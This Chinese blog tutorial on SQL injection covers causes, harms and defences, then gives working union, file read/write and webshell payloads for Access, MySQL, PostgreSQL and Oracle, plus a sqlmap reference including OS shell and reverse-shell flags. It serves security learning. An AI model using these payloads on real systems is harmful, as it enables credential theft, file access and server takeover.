sql注入,数据库分类讲解

sql注入

原理

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。

1.程序员在处理程序和数据库交互时,使⽤字符串拼接的⽅式构造SQL 语句

2.未对⽤户可控参数进⾏⾜够的过滤,便将参数内容拼接到SQL 语句中

Web应用程序存在SQL注入,往往是因为在程序编写的过程中,开发人员违背了“代码与数据分离”原则。一方面,攻击者可以任意更改输入数据;另一方面,攻击者可以在数据里构造代码,让服务器端把数据解析成代码执行。所以,只要遵循“代码与数据分离”原则,对用户端传入的数据进行严格检查,从技术角度而言,可以实现完全防御SQL注入攻击。

危害

SQL注入带来的危害主要有如下几点:

  1. 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
  2. 绕过验证,例如绕过验证登陆进入网站后台
  3. 注入可以借助数据库的存储过程进行提权等操作
  4. 管理员账号被篡改
  5. 网页被挂马
  6. 服务器被远程控制,被安装后门
  7. 破坏硬盘数据,瘫痪全系统

防御手段

注意:但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。

  1、检查变量数据类型和格式

  如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
  比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。

  2、过滤特殊符号

  对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。

  3、绑定变量,使用预编译语句

  MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法

  实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构

预编译解决不了所有问题,最好的方法是先将服务下线

注入方式

联合注入

报错注入

布尔型盲注

时间盲注

堆叠注入

参考

注入点

小白式解释

表单提交,主要是POST,或者GET请求。

URL参数,主要为GET请求参数。

Cookie中的参数。

HTTP请求头部可修改的值,比如: RefererUser_Agent等。

注入 点的寻找

常见数据库

Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。

MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。

SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。

Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。

......

注入点判断数据库类型

access数据库

偏移注入

access数据库特性:

ACCESS 独立存在
数据库名
表名
列名
数据

由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!

Access无高权限注入点-只能猜解,还是暴力猜解

MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等

ASP+Access-偏移注入-报错显示

偏移注入就是解决表名已知,列名未知的情况!

偏移注入使用场景

在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了

注入原理

假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
然后通过移动admin.*的位置,就可以回显不同的数据

参考地址

MySQL数据库

MySQL

特点

MYSQL 统一管理
最高数据库用户=root用户root
用户最强管理所有收据库,但是如果root用户被搞定了,那么这个服务器上所有的网站数据就完蛋了(跨库注入),还可以写马
(未授权测试===白饭)

数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

注入语句:

ROOT类型攻击-猜解数据,文件读写,跨库查询
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
最后之所以要这样写是因为直接查manage默认是当前网站下的数据库,加上.就是说查询xhcms数据库下manage表

读写语句

load_file常用路径

secure_file_priv 突破

#MYSQL-root高权限读写注入
-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
//一般读取敏感文件,如数据库配置文件,网站搭建
-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile'd:/www.txt'
或
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into dumpfile'd:/www.txt'
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);
secure_file_priv=c:/限制盘符,只能读取c盘的文件

postgresql数据库

PostgreSQL常用查询命令

postgresql和mysql基本一致只不过查询函数不一样

回显点测试方法不一样

mysql回显点可以使用数字测试

postgresql只能使用null测试

select CURRENT_SCHEMA()           #查看当前权限
select user                       #查看用户
select current_user               #查看当前用户
select chr(97)                    #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110)  #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version()                  #查看PostgreSQL数据库版本
SELECT current_database()         #查看当前数据库
select length('admin')            #查看长度
 
select case when(expr1) then result1 else result2 end;  #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
 
select pg_read_file("/etc/passwd");          #读取文件
select system("whoami");                     #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';   #写入文件

postgresql注入语句

参考

#PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误


-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null


-获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'


-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users


-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

Oracle

Oracle数据库

Oracle注入

注入语句

#Oracle
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like'%user%') from dual
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

模糊查询的四种方式

%,匹配任意长度或类型的字符

_,匹配单个任意字符

[],匹配括号中给定的一个字符或者一个范围

[^],与上面一个相反,匹配不再括号内的

sqlmap

之所以放在最后是因为工具只是辅助手段,确定网站有注入点的时候使用sqlmap将会事半功倍

因为知道哪里有注入了,是什么类型的,有没有过滤,方便使用sqlmap的参数

官方sqlmap使用手册

个人认为还是先知社区比较好,毕竟是国人写的,官方的感觉就是某翻译直接翻译出来的有点生硬

先知社区的sqlmap使用文章

常用参数

个人认为的常用参数

--purge  #清除缓存,安全地删除 data 目录中所有内容
--beep   #在发现 SQL 注入时,sqlmap 会立即发出“哔”的警告声
--privileges  #查看权限 

--technique B 布尔盲注
--technique E 报错注入
--technique U union查询注入
--union-cols  默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。当然,可以通过提供更高的--level 值将该范围增加到最多 50 列。
--technique S 堆叠注入
--technique T 时间盲注
--time-sec	  为 --time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。
--technique Q 内联查询注入

由于法律法规的规定,个人常用参数不往上写shell,怎么用sqlmap写shell其他大佬是有讲的,靶机可以玩一玩,真实生产环境就不要写shell了

#SQLMAP使用参数:
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
基本操作笔记:-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8118" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt

过滤使用脚本

假如一些过滤可以配合使用一脚本

sqlmap详细使用手册

sql注入绕过虑

验证码绕过

个人总结

数据库类型决定-攻击手法->payload不一样
数据类型决定->payload考虑闭合,数据的格式(如:base64)
提交方式-数据请求不同决定->注入要按照指定方式去测试
(如:1.url没有参数并不代表没有注入,有些数据在数据包才有体现2.http数据包任何一个地方只要被接受,就有可能产生漏洞)

查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻(尽量不要操作这样的洞很高危但是不好拿),修改文章等)

posted @ 2022-04-09 01:44  阿力先生  阅读(161)  评论(0编辑  收藏  举报